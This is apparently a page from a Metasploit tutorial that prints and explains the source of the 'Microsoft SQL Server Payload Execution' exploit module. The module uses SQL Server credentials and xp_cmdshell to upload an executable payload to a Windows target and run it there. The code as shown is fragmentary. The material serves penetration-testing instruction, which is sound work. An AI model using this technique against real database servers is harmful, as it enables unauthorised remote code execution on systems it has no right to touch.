Creating Our Auxiliary Module

a11y.text Creating Our Auxiliary Module

Payloads Through MSSQL, an Auxiliary Module

a11y.text Payloads Through MSSQL, an Auxiliary Module

We will be looking at three different files, they should be relatively familiar from prior sections.


Lets first take a look at the mssql_payload.rb as to get a better idea at what we will be working with.

# This module requires Metasploit:
# Current source:

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::MSSQL
  include Msf::Exploit::CmdStager
  #include Msf::Exploit::CmdStagerDebugAsm
  #include Msf::Exploit::CmdStagerDebugWrite
  #include Msf::Exploit::CmdStagerTFTP

  def initialize(info = {})
      'Name'           => 'Microsoft SQL Server Payload Execution',
      'Description'    => %q{
          This module executes an arbitrary payload on a Microsoft SQL Server by using
        the "xp_cmdshell" stored procedure. Currently, three delivery methods are supported.

        First, the original method uses Windows ''. File size restrictions are
        avoided by incorporating the debug bypass method presented by SecureStat at
        Defcon 17. Since this method invokes ntvdm, it is not available on x64 systems.

        A second method takes advantage of the Command Stager subsystem. This allows using
        various techniques, such as using a TFTP server, to send the executable. By default
        the Command Stager uses 'wcsript.exe' to generate the executable on the target.

        Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the
        payload on the target.

        NOTE: This module will leave a payload executable on the target system when the
        attack is finished.
      'Author'         =>
          'David Kennedy "ReL1K" ',  # original module, debug.exe method, powershell method
          'jduck'  # command stager mods
      'License'        => MSF_LICENSE,
      'References'     =>
          # 'sa' password in logs
          [ 'CVE', '2000-0402' ],
          [ 'OSVDB', '557' ],
          [ 'BID', '1281' ],

          # blank default 'sa' password
          [ 'CVE', '2000-1209' ],
          [ 'OSVDB', '15757' ],
          [ 'BID', '4797' ]
      'Platform'       => 'win',
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'Targets'        =>
          [ 'Automatic', { } ],
      'CmdStagerFlavor' => 'vbs',
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'May 30 2000'
      ['METHOD', [ true, 'Which payload delivery method to use (ps, cmd, or old)', 'cmd' ])

  def check
    if !mssql_login_datastore
      vprint_status("Invalid SQL Server credentials")
      return Exploit::CheckCode::Detected

    mssql_query("select @@version", true)
    if mssql_is_sysadmin
      vprint_good "User #{datastore['USERNAME']} is a sysadmin"

  # This is method required for the CmdStager to work...
  def execute_command(cmd, opts)
    mssql_xpcmdshell(cmd, datastore['VERBOSE'])

  def exploit

    if !mssql_login_datastore
      print_status("Invalid SQL Server credentials")

    method = datastore['METHOD'].downcase

    if (method =~ /^cmd/)
      execute_cmdstager({ :linemax => 1500, :nodelete => true })
      #execute_cmdstager({ :linemax => 1500 })
      # Generate the EXE, this is the same no matter what delivery mechanism we use
      exe = generate_payload_exe

      # Use powershell method for payload delivery if specified
      if (method =~ /^ps/) or (method =~ /^power/)
        # Otherwise, fall back to the old way..
        mssql_upload_exec(exe, datastore['VERBOSE'])


While this file may seem simple, there is actually a lot of going on behind the scenes. Lets break down this file and look at the different sections. Specifically we are calling from the mssql.rb in the lib/msf/core/exploits area.

One of the first things that is done in this file is the importation of the Remote class, and inclusion of the MSSQL module.

class Metasploit3 > Msf::Exploit::Remote

include Msf::Exploit::Remote::MSSQL

The reference section simply enumerates additional information concerning the attack or the initial exploit proof of concept. This is where we would find OSVDB references, EDB references and so on.

'References' =>
	[ 'OSVDB', '557'],
	[ 'CVE', '2000-0402'],
	[ 'BID', '1281'],
	[ 'URL', ''],

The platform section indicates the target’s platform and version. The following part is the ‘Targets’ object, which is where different versions would be enumerated. These lines give the user the ability to select a target prior to an attack. The ‘DefaultTarget’ value is used when no target is specified when setting up the attack.

'Platform' => 'win',
'Targets' =>
	[ 'Automatic', { } ],
'DefaultTarget' => 0

The ‘def exploit’ line indicates the beginning of our exploit code. The next declaration is for debugging purposes. Considering there is a lot of information going back and forth, it’s a good idea having this set to ‘false’ until it’s needed.

debug = false # enable to see the output

Moving on to the next line, this is the most complex portion of the entire attack. This one liner here is really multiple lines of code being pulled from mssql.rb.

mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded), debug)

mssql_upload_exec (function defined in mssql.rb for uploading an executable through SQL to the underlying operating system)

Msf::Util::EXE.to_win32pe(framework,payload.encoded) = create a metasploit payload based off of what you specified, make it an executable and encode it with default encoding

debug = call the debug function is it on or off?

Lastly the handler will handle the connections from the payload in the background so we can accept a metasploit payload. The disconnect portion of the code ceases the connection from the MSSQL server.

Now that we have walked through this portion, we will break down the next section in the mssql.rb to find out exactly what this attack was doing.

The Guts Behind an Auxiliary Module
Payloads Through MSSQL